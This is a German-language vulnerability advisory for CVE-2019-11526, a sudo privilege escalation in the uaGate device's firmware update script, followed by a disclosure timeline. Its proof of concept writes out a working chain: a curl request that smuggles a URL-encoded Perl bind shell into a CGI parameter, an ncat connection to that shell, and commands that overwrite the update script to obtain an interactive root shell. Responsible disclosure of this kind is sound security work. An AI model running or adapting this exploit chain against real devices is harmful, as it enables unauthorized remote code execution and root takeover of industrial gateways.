CVE-2019-11526 - uaGate Sudo Rechteerweiterung

Zusammenfassung

Das Firmware-Update-Skript von uaGate, das vom Webserver-Benutzer mit Sudo-Rechten aufgerufen wird, behandelt seine Parameter unsicher. Neben einem legitimen Firmware-Image kann ein zweites Firmware-Image übergeben werden, das das Update-Skript selbst überschreibt und bösartigen Code ausführt, wenn das Skript erneut aufgerufen wird.

Angriffsvektor

Ein Angreifer, der bereits in der Lage ist, Code auf dem Gerät auszuführen, kann diesen Exploit nutzen, um Superuser-Rechte zu erlangen.

Proof-of-Concept-Details

poc #1 (mitigated in 1.71.00.1225)

# deploy a remote bind shell (using cve-2019-11527)
curl --silent --user itadmin:******** 'http://uagate/cgi-bin/it/registerAzureIotProxy.cgi?task=register&deviceId=%26perl%20-e%20%27use%20Socket%3B%24p%3D4223%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bbind%28S%2Csockaddr_in%28%24p%2C%20INADDR_ANY%29%29%3Blisten%28S%2CSOMAXCONN%29%3Bfor%28%3B%24p%3Daccept%28C%2CS%29%3Bclose%20C%29%7Bopen%28STDIN%2C%22%3E%26C%22%29%3Bopen%28STDOUT%2C%22%3E%26C%22%29%3Bopen%28STDERR%2C%22%3E%26C%22%29%3Bexec%28%22%2Fbin%2Fbash%20-i%22%29%3B%7D%3B%27%26'
# conect to the uagate on the shell
ncat uagate 4223
# get proper tty 
python -c "import pty; pty.spawn('/bin/bash')"
# start proof of concept 
echo '#!/bin/bash' > /tmp/updateFirmware
echo 'if [ "$1" == "--interactive" ]; then bash; fi;' >> /tmp/updateFirmware
cat /usr/local/bin/updateFirmware >> /tmp/updateFirmware
chmod +x /tmp/updateFirmware
busybox bzip2 /tmp/updateFirmware
# next step requires writing to /usr/local/bin (cve-2019-11528)
mv /tmp/updateFirmware.bz2 /usr/local/bin/updateFirmware.bz2 
cd /usr/local/bin/
echo "just a trash file to nudge the update script" > trash.bz2
sudo ./updateFirmware "updateFirmware.bz2 trash.bz2"
sudo ./updateFirmware --interactive 

Zeitleiste

  • Tag 0 - Penetrationstest des uaGate SI Device - 21.12.2018
  • Tag 28 - Erster Kontakt zum Hersteller bezüglich des Problems - 18.01.2019
  • Tag 63 - Problembericht an den Hersteller - 22.02.2019
  • Tag 66 - Sicherer Kommunikationskanal etabliert - 25.02.2019
  • Tag 74 - Detaillierter Problembericht an den Hersteller - 05.03.2019
  • Tag 116 - Hersteller bestätigt Sicherheitsprobleme - 16.04.2019
  • Tag 125 - CVE-ID von MITRE vergeben - 25.04.2019
  • Tag 229 - Lösung gefunden in Version 1.71.00.1225 - 07.08.2019
  • Tag 293 - Veröffentlichung - 10.10.2019

Danksagung

djo@mioso.com